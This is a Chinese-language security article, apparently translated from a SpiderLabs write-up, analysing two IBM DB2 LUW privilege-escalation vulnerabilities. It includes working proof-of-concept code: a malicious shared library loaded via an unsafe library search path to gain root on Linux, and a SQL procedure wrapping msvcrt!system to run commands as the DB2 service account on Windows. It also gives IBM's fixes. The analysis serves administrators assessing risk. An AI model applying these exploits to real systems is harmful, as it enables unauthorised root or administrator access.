两枚近期IBM DB2 LUW漏洞提权分析

IBM最近发布了两个影响DB2的linux、unix、windows三个版本的安全漏洞补丁。

而本文将探讨其中这两发漏洞（CVE-2014-0907和CVE-2013-6744）的一些技术细节，从而帮助数据库管理员评估自身数据库环境的风险以及帮助管理员设计一个更加合理安全的解决方案。

第一发：（CVE-2014-0907）DB2执行提权漏洞

如果你需要提权的电脑上面装了DB2，而你恰好需要提权，你就该偷着乐啦~

在一定条件下，该漏洞可以允许一个本地普通用户获取到root权限，你可以点击此处阅读漏洞的原始报告。下面我们跟随大神的脚步跟踪一下这个CVE

IBM在公告处给出了以下解决方法：

$cd <DB2_instance_install_directory>
$bin/db2chglibpath -s '\.:' -r '' adm/db2iclean

下面，让我们看一下该命令是如何修复了这个漏洞以及黑客是如何利用这个漏洞的。 ：）

首先，db2chglibpath工具的作用是改变二进制嵌入式库文件的搜索路径。

我们比较一下运行db2chglibpath运行前后的返回值：

这意味着，当前路径下所有的共享的二进制库文件都将作为搜索目标。

接下来，我们看一下执行db2iclean时发生过什么

$ sudo strace -o /tmp/db2iclean.log  
$/home/db2inst1/sqllib/adm/db2iclean
$ cat /tmp/db2iclean.log | more
...
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("./tls/i686/sse2/cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...
open("./cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("./libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("/DoNotCreateThisPath_marker1.*chglibpath/tls/i686/sse2/cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...

从以上返回值我们可以看出，该应用程序首先会在当前目录试图加载libdb2ure2.so.1文件，当找不到之后才去在DB2的安装目录去搜索载入这个文件。而这个时候如果存在一个恶意的库文件“正好”存在于这个位置，那么这个库文件将会被载入，而且因为db2iclean命令是在root权限下执行的，所以恶意代码就相当于在root下运行起来了。但是db2clean命令本身并不是公开执行的，所以攻击者必须使执行账户成为db2adm1组的成员才能调用其指定的库文件，或者诱使其他用户（属于该组成员）执行这个库文件，其目的方可达到。

下面是POC

创建一个库文件，替换原DB2的库文件。代码如下：

// libdb2ure2.cpp
#include <stdlib.h>
int iGetHostName(char* n, int i)
{
    system("id > /m.log");
}

这里作为测试，我们只定义的唯一的一个函数，我们看一下可爱的db2iclean会不会执行呢？先编译一下：

$ gcc -shared -o libdb2ure2.so.1 libdb2ure2.cpp

然后我们作为一个普通用户执行一下db2iclean命令，看看这个过程是否会出现我们所预期的效果：

<DB2_instance_install_directory>/adm/db2iclean

看一下结果：

$ cat /m.log
uid=1004(james) gid=1001(james) euid=0(root) groups=0(root),126(db2iadm1),1001(james)

注意看一下EUID的值，我们发现我们所编译的函数最终是在root下运行的，看来与我们所预想的是一致的。

修复建议

IBM给出的修复建议是：升级SUID的库文件，并且不要在当前目录搜索载入那些不明来路的库文件，那样！很危险！

同时提醒我们广大的开发者朋友们！永远不要认为那些不受信任的路径是安全的！亚麻跌！

（妈咪说过，不要和陌生人说话！）

更多关于RPATH（runtime library path）的资料请戳这里：http://en.wikipedia.org/wiki/Rpath

第二发：(CVE-2013-6744) DB2权限控制不当导致提权发生

刚刚第一发是linux环境下的，第二发我们来一个win环境下的：该漏洞将使windows的登录用户可以获取到Administrator权限。下面我们来看一下关于这个漏洞的详细信息：

漏洞可利用的前提条件：

1、连接数据库的有效凭据
2、数据库连接权限（CONNECT privilege）
3、创建routine的权限，此权限不会被公开授予（CREATE_EXTERNAL_ROUTINE）

在Windows平台特权帐户默认情况下，DB2服务运行时并不受访问控制检查，这意味着可以通过CREATE_EXTERNAL_ROUTINE权限创建一个库文件并且形成调用，从而权限得以提升。

下面是POC

测试环境：

1、DB2 LUW10.1 Fix Pack 1版本
2、DB2执行默认配置

首先用获取到CREATE_EXTERNAL_ROUTINE权限的用户运行以下的DDL，利用C runtime system来创建一个包装器：

CREATE PROCEDURE db2_exec (IN cmd varchar(1024)) EXTERNAL NAME 'msvcrt!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL

接下来，调用：

CALL db2_exec('whoami /all > C:\whoami.log')

然后我们看一下我们创建的文件：我们发现log文件包含了db2admin信息。这意味着，我们用一个非管理员账户成功用Administrator执行了，说明测试结果没有问题。

不过鉴于本漏洞需要的条件只有win下满足，所以此漏洞仅影响Windows安装，linux用户可以放心啦~~

修复建议

IBM建议仅对受信任用户授予CREATE_EXTERNAL_ROUTINE的特权。

另外需要注意的是：第二个漏洞修复以后，需要重启服务方可生效。

[参考信息来源spiderlabs.com，FreeBuf小编xia0k编译，转载请注明来自FreeBuf.COM]